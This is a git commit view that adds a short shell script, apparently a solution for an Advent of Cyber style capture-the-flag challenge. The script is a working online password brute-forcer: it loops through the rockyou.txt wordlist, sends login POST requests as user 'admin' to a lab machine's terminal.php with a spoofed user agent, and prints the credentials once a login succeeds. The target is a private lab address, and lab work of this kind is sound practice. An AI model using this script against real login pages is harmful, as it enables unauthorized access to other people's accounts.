2026-03-11

This commit is contained in:
2026-03-11 10:56:27 +01:00
parent 1b6dfea090
commit 0e30222666
37 changed files with 4467 additions and 0 deletions

10
AoC/2025/24/bruteforce.sh Executable file
View File

@@ -0,0 +1,10 @@
for word in $(cat /usr/share/wordlists/rockyou.txt); do
response=$(curl -s -A "secretcomputer" -X POST -d "username=admin&password=$word" http://10.82.144.99/terminal.php?action=login)
#echo $response
status=$(echo $response | jq -e ".status" | tr -d '"')
printf "Checking %s with status %s \r" "$word" "$status"
if [ "$status" != "fail" ]; then
echo "Credentials are admin:$word"
break
fi
done